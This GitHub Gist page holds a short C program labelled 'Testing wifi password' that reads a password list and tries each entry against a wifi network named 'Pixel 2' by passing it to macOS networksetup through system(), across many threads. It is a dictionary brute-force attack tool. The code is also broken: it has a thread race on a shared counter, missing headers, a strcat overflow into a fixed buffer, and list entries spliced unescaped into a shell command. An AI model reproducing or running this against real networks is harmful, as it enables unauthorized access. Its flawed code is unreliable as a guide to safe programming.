Created
August 20, 2020 02:31
-
-
Save dannydenenberg/8acd97b1563435c05ae6be7ce86aeb3a to your computer and use it in GitHub Desktop.
Testing wifi password.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdlib.h> | |
| #include <pthread.h> | |
| #include <unistd.h> | |
| int counter = 0; | |
| int lines_allocated = 128; | |
| int max_line_len = 100; | |
| /* Allocate lines of text */ | |
| char **words; | |
| // abstract into function for concurrency (threads) | |
| void hack() { | |
| printf("STARTED >>> Counter: %d || Word: %s\n", counter, words[counter]); | |
| char ss[100] = "networksetup -setairportnetwork en0 \"Pixel 2\" "; | |
| strcat(ss, words[counter]); | |
| system(ss); | |
| printf("ENDED ONE OF THEM.\n"); | |
| } | |
| int main(void) { | |
| words = (char **)malloc(sizeof(char*)*lines_allocated); | |
| if (words==NULL) { | |
| fprintf(stderr,"Out of memory (1).\n"); | |
| exit(1); | |
| } | |
| FILE *fp = fopen("passwords.txt", "r"); | |
| if (fp == NULL) { | |
| fprintf(stderr,"Error opening file.\n"); | |
| exit(2); | |
| } | |
| int i; | |
| for (i=0;1;i++) | |
| { | |
| int j; | |
| /* Have we gone over our line allocation? */ | |
| if (i >= lines_allocated) | |
| { | |
| int new_size; | |
| /* Double our allocation and re-allocate */ | |
| new_size = lines_allocated*2; | |
| words = (char **)realloc(words,sizeof(char*)*new_size); | |
| if (words==NULL) | |
| { | |
| fprintf(stderr,"Out of memory.\n"); | |
| exit(3); | |
| } | |
| lines_allocated = new_size; | |
| } | |
| /* Allocate space for the next line */ | |
| words[i] = malloc(max_line_len); | |
| if (words[i]==NULL) | |
| { | |
| fprintf(stderr,"Out of memory (3).\n"); | |
| exit(4); | |
| } | |
| if (fgets(words[i],max_line_len-1,fp)==NULL) | |
| break; | |
| /* Get rid of CR or LF at end of line */ | |
| for (j=strlen(words[i])-1;j>=0 && (words[i][j]=='\n' || words[i][j]=='\r');j--) | |
| ; | |
| words[i][j+1]='\0'; | |
| } | |
| /* Close file */ | |
| fclose(fp); | |
| int j; | |
| //for(j = 0; j < i; j++) printf("%s\n", words[j]); | |
| //printf("This is one of the words: %s", words[0]); | |
| /******************** HERE IS WHERE I CALL SYSTEM (hopefully on multiple threads) **************************/ | |
| pthread_t thread; | |
| int err; | |
| for (int k = 0; k < 100; k++) { | |
| //hack(); | |
| err = pthread_create(&thread, NULL, hack, NULL); | |
| if (err) { | |
| printf("An error occured: %d", err); | |
| return 1; | |
| } | |
| counter++; | |
| } | |
| /* Good practice to free memory */ | |
| for (;i>=0;i--) | |
| free(words[i]); | |
| free(words); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment